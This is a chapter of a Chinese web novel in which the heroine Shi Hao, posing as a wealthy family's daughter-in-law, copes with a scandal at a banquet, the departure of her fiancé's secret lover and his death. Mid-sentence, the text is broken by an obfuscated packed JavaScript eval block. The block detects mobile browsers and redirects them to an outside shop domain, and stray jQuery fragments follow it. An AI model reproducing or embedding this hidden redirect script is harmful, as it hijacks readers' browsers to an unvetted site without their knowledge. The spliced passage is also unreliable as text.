文趣网 > 都市小说 > 养成反派,但穿错时间 > 9. 正牌女友
    现场只混乱了一会,很快被控制住,冲上去的人被带走。

    任破青看了时好一眼,拿过话筒表示这只是一个玩笑,便带过这件事,转而欢迎大家的到来。

    “原来是个玩笑,真的吓到我了。”

    任眉在听到那人讲话的第一时间,惊得站起来,现在重新坐下,看向时好:“你怎么脸色这么差,也被吓到了吗?”

    “有一点……”

    时好勉强地笑了笑,手指微微发颤。

    “真是的,这个玩笑是有点过分了,不知道他在想什么。”任眉跟着抱怨一句。

    宴会很快结束,时好有些记不得中间发生什么,有谁和她说过话,又吃过什么菜,只知道任破青也没来找她,好像一切照旧。

    她和任眉送傅乐行出去,傅乐行半开玩笑地说:“你们准备的小节目真有意思,我拳头都硬了,还以为任破青要篡位,在这种节骨眼上赶你出去。”

    这应该也是很多人的想法,但时好见过那个员工的,和之前从皮夹本里掉出来的是同一个人,名字叫白跃的酒吧驻唱,她和任砚也许真的在秘密恋爱。

    时好没有说话,傅乐行凑近压低声音说:“如果他真的有这方面的打算,一定要告诉我,我可以帮你和他周旋,或者直接来我家,我家没这么多事。”

    “虽然和舍不得你。”任眉也咬咬牙说:“但他说的对,如果真到了那时候,你就去傅家吧!”

    “嗯……”

    时好应下,看着关心自己的两人,心里一上一下,非常复杂。

    “你们在说什么呢?”任破青送完其他人,慢慢向他们走来。

    “没什么!”任眉呵呵一笑,表现得格外心虚。

    傅乐行拍了拍任破青的肩膀,咧嘴说:“在说你开玩笑的事情,你是怎么想的?这种玩笑怎么能随便开,还好今天来的都是比较亲近的人,大家都愿意相信,要是放在明天,那就麻烦了!”

    “也不是玩笑。”任破青没有看时好。

    时好却觉得身上如被针扎般,仿佛被人注视着,几乎喘不过气来。她低下头,紧紧攥住裙摆,等待着任破青落锤。

    任破青笑了笑,仿佛没有注意到她的样子,不在意地说:“是有人暗中使坏,故意找事,我会调查清楚。”

    “原来是这样。”傅乐行很快接受这个说法,还见缝插针地说:“你如果护不住嫂子,就趁早把人送来傅家。”

    任破青拒绝了傅乐行的提议:“这是任家的事。”

    两人之间有些焦灼,时好更加无措,还是任眉在中间打了个圆场,缓和两人的气氛。

    傅乐行挥了挥手说:“行行行,不说了,你可要好好查查,这搞事的人对我哥还挺了解的,居然能说出我哥结扎的话,如果不是嫂子真的怀孕了,我肯定会相信的。”

    话落,任破青总算正眼看向时好,目光落在时好小腹上。

    时好下意识挡了挡。

    “是啊,大哥一直不想要孩子的,照顾我们这些弟弟妹妹都够了。”任眉应和一句,拉住时好的手:“但嫂子就是出现在我们面前,这样也好,能留下一个孩子。”

    这么多希望压.在身上,如果不是被任眉拉着,时好简直就要站不稳。

    “是挺好的。”

    任破青勾起嘴角,深深地看向时好。

    时好再也没办法听清他们在聊什么,等回过神,傅乐行和任眉都已经离开,只剩下她和任破青。

    任破青帮她掩盖了事情真相,还收拾了后续。

    时好再也忍不住,问任破青:“为什么?”

    “为什么?你不会真的以为,你会威胁到我的位置吧?”任破青顿了顿,靠近一步,高大的身影罩住时好:“你的存在让任家都变得有趣多了。”

    他说完转身离开。

    时好还站在原地,不明白任破青的意思,更猜不透他的意图。

    “跟上,这件事还没完。”任破青回头说。

    时好小跑跟上去。

    任破青上了电梯,在酒店的房间停下,房间门口站了两个保镖。时好意识到什么,看向紧闭的大门。

    “她就在里面,见见?”任破青问。

    时好下意识后退一步:“我不想……”

    向任破青提出“为什么”的疑问,已经耗费她大多数力气,实在没有精力,也不敢面对里面的白跃。

    任破青没有勉强:“你在外面等我。”

    “嗯。”

    时好干巴巴地站在外面,想着要怎样和白跃道歉。感觉过去很久,一看时间才过去十分钟,房门终于从里面拉开。

    白跃先从里面出来,保镖拦住她。任破青在后面说:“让她走。”保镖才放开白跃,没再拦着。

    时好对她笑了笑。

    白跃像是没看见她,扭头径直往外走。

    时好收住笑脸,又听见任破青对她说:“去见任砚。”

    三人转眼来到任砚的医院,白跃被人引导,消毒后进入任砚的ICU病房。

    这次时好没有进去,和任破青站在外面,白跃俯身蹲在病床前,和任砚说话,玻璃把病房里外隔成两个世界。

    “……明天还办婚礼吗?”

    “当然要办,请帖都发出去了。”任破青靠在墙上,不紧不慢地说:“怎么,现在后悔当任家的长媳?”

    “也不是……”

    任破青好像一点都不在意,就这么轻飘飘地接受了?

    如果能继续留在任家,当然是好的,时好可以继续去做任务,但她不知道该怎样面对任破青,又怎样和对方相处。

    任破青低头看她,半边脸都隐在黑暗中:“我从不做亏本买卖,你要怎么报答我?”

    任破青这样说后,时好反而安心了一点:“我,我把钱和资产都给你。”

    任破青弯起眼睛,笑了:“你是说,你要把我给你的东西当做报答,都还给我?”

    “那你想要什么?”时好抿了抿唇。

    任破青抬了抬下巴,居高临下地看着她,语气却格外轻柔:“你好好想想呢。”

    时好没再说话,认真思考起来。

    她想来想去自己空手来的,也没什么东西可以给对方。身上最值钱的东西,也就是前几天任破青转给自己的那些金钱和资产。

    很快又想到任破青和傅乐行之间的关系,反派和主角之间总是你死我活的,难不成想让她去骗傅乐行,好拿到傅

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816332|211063||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    家的资产?

    时好摇了摇头,犹豫着开口:“……我不会去骗人的,这是我们之间的事情……”

    “你想到哪去了?”任破青嗤笑,顿了顿:“你不会以为我要你去傅家做点什么吧。”

    时好意识到自己想岔,也红了脸。

    到最后时好没想出什么结果,任破青也没有催促。

    探病时间到,在医护的催促下,白跃从病房里面出来,她换下防护服,身上还穿着酒店的制服,眼眶微微发红,强撑着没有哭。

    任破青和白跃没有说话,时好倒是想去安慰几句,只是实在不知道要怎么开口,说什么都有像是风凉话。

    时好和任破青将白跃送下楼。

    刚到医院大楼门口,任破青接到医生的电话,时好隐约能听见电话里的语气着急,任破青应了几声,挂断电话,和她们解释一句,转身回到上楼。

    白跃没有跟上去,看着任破青的方向,眼神隐忍不舍,半天都没动。

    时好小心翼翼地说:“要不要上去看看,可能情况不太对……”

    “不用,”白跃收回目光,看了她一眼:“已经告别过了。”

    白跃声音清亮,这是她对时好说的第一句话。她迈开脚步往外走,时好跟上白跃。

    “我在厕所里捡的那个包是你的?”白跃突然开口询问。

    时好没想到白跃会提起这件事,略微失神:“……嗯,谢谢你帮我捡回来。”

    “看来这豪门的日子也不怎么好过,难怪任砚都不喜欢待在家里……”

    白跃的声音越来越小,后面的内容时好都没有听清,对方像是在自言自语,不需要她的回答。

    两人出来,白跃拦下一辆出租车。

    “不用送了,我和任破青达成协议,不会再出现,任破青不是好糊弄的人,你多保重。”话落,白跃干脆利落地上了出租车。

    “再见。”

    时好招了招手,独自看着车辆远离,小声说了句:“对不起……”

    送走白跃,时好回到医院,站在任砚的病房前,里面的任砚不见了,没有看到任破青,更没有找到医护人员。

    时好心中隐隐有些不安,找了一处地方坐下,想要等任破青过来。

    大概是今天的事情太多,得到暂时的缓解,稍微放松,居然睡了过去。

    再次睁开眼是被任眉叫醒的,任眉眼眶红红的,里面都是泪水:“嫂子嫂子,大哥去了。”

    说完便抱着她嚎啕大哭。

    时好呆若木鸡,半天都没反应过来。虽然早就料到这一天,但还是太快了……

    任德胜、蒋蓉、傅玉、傅乐行都来了,商议着任砚的后事。

    时好不知道自己该不该哭,她流不出眼泪,只有任眉和傅乐行在哭,她不哭好像也不奇怪。

    任德胜担心她过于悲伤,让她和任眉先回家休息,保重身体。

    时好不想回去,这种时刻她总想为大家做点什么,他们却不需要。还是任破青看任眉哭得一抽一抽的,让时好带着任眉回去休息,时好才和任眉回了家。

    第二天的婚礼,理所当然地被取消。

    葬礼在三天天之后,新的帖子重新发出去。